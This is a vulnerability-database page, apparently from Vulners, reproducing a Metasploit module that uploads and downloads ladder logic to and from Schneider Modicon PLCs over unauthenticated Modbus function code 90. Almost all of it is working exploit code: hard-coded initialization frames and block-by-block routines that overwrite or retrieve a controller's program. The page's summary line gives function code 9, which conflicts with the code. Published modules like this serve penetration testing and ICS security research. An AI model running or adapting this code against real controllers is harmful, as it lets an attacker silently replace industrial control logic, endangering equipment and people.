Lucene search
+L

Schneider Modicon Ladder Logic Upload/Download

🗓️ 05 Apr 2012 17:35:48Reported by K. Reid Wightman <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

The Schneider Modicon PLC allows unauthenticated access to upload and download ladder logic using Modbus function code 9

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Schneider Modicon Ladder Logic Upload/Download',
      'Description'    => %q{
        The Schneider Modicon with Unity series of PLCs use Modbus function
        code 90 (0x5a) to send and receive ladder logic.  The protocol is
        unauthenticated, and allows a rogue host to retrieve the existing
        logic and to upload new logic.

        Two modes are supported: "SEND" and "RECV," which behave as one might
        expect -- use 'set mode ACTIONAME' to use either mode of operation.

        In either mode, FILENAME must be set to a valid path to an existing
        file (for SENDing) or a new file (for RECVing), and the directory must
        already exist.  The default, 'modicon_ladder.apx' is a blank
        ladder logic file which can be used for testing.

        This module is based on the original 'modiconstux.rb' Basecamp module from
        DigitalBond.
      },
      'Author'         =>
        [
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate' => '2012-04-05'
      ))

    register_options(
      [
        OptString.new('FILENAME',
          [
            true,
            "The file to send or receive",
            File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
          ]),
        OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
          [
            "SEND",
            "RECV"
          ]
        ]),
        Opt::RPORT(502)
      ])

  end

  def run
    unless valid_filename?
      print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
      return nil
    end
    @modbuscounter = 0x0000 # used for modbus frames
    connect
    init
    case datastore['MODE']
    when "SEND"
      writefile
    when "RECV"
      readfile
    end
  end

  def valid_filename?
    if datastore['MODE'] == "SEND"
      File.readable? datastore['FILENAME']
    else
      File.writable?(File.split(datastore['FILENAME'])[0].to_s)
    end
  end

  # this is used for building a Modbus frame
  # just prepends the payload with a modbus header
  def makeframe(packetdata)
    if packetdata.size > 255
      print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
      return
    end
    payload = ""
    payload += [@modbuscounter].pack("n")
    payload += "\x00\x00\x00" #dunno what these are
    payload += [packetdata.size].pack("c") # size byte
    payload += packetdata
  end

  # a wrapper just to be sure we increment the counter
  def sendframe(payload)
    sock.put(payload)
    @modbuscounter += 1
    # TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
    r = sock.recv(65535, 0.1)
    return r
  end

  # This function sends some initialization requests
  # required for priming the Quantum
  def init
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00"
    (0..0xf9).each { |x| payload += [x].pack("c") }
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
    payload += "USER-714E74F21B" # Yep, really
    #payload += "META-SPLOITMETA"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
  end

  # Write the contents of local file filename to the target's filenumber
  # blank logic files will be available on the Digital Bond website
  def writefile
    print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
    blocksize = 244	# bytes per block in file transfer
    buf = File.binread(datastore['FILENAME'])
    fullblocks = buf.length / blocksize
    if fullblocks > 255
      print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
      return
    end
    lastblocksize = buf.length - (blocksize*fullblocks)
    fileblocks = fullblocks
    if lastblocksize != 0
      fileblocks += 1
    end
    filetype = buf[0..2]
    if filetype == "APX"
      filenum = "\x01"
    elsif filetype == "APB"
      filenum = "\x10"
    end
    payload = "\x00\x5a\x00\x03\x01"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x30\x00"
    payload += filenum
    response = sendframe(makeframe(payload))
    if response[8..9] == "\x01\xfe"
      print_status("#{rhost}:#{rport} - MODBUS - Write request success!  Writing file...")
    else
      print_error("#{rhost}:#{rport} - MODBUS - Write request error.  Aborting.")
      return
    end
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    block = 1
    block2status = 0 # block 2 must always be sent twice
    while block <= fullblocks
      payload = "\x00\x5a\x01\x31\x00"
      payload += filenum
      payload += [block].pack("c")
      payload += "\x00\xf4\x00"
      payload += buf[((block - 1) * 244)..((block * 244) - 1)]
      res = sendframe(makeframe(payload))
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
      if res[8..9] != "\x01\xfe"
        print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
        return
      end
      # redo this iteration of the loop if we're on block 2
      if block2status == 0 and block == 2
        print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
        block2status = 1
        redo
      end
      block += 1
    end
    if lastblocksize > 0
      payload = "\x00\x5a\x01\x31\x00"
      payload += filenum
      payload += [block].pack("c")
      payload += "\x00" + [lastblocksize].pack("c") + "\x00"
      payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
      res = sendframe(makeframe(payload))
      if res[8..9] != "\x01\xfe"
        print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
        return
      end
    end
    vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
    payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
    sendframe(makeframe(payload))
  end

  # Only reading the STL file is supported at the moment :(
  def readfile
    print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
    file = File.open(datastore['FILENAME'], 'wb')
    payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
    response = sendframe(makeframe(payload))
    print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
    block = 1
    filedata = ""
    finished = false
    while !finished
      payload = "\x00\x5a\x01\x34\x00\x01"
      payload += [block].pack("c")
      payload += "\x00"
      response = sendframe(makeframe(payload))
      filedata += response[0xe..-1]
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
      if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
        finished = true
      else
        block += 1
      end
    end
    print_status("#{rhost}:#{rport} - MODBUS - Closing file")
    payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
    sendframe(makeframe(payload))
    file.print filedata
    file.close
  end

  def cleanup
    disconnect rescue nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation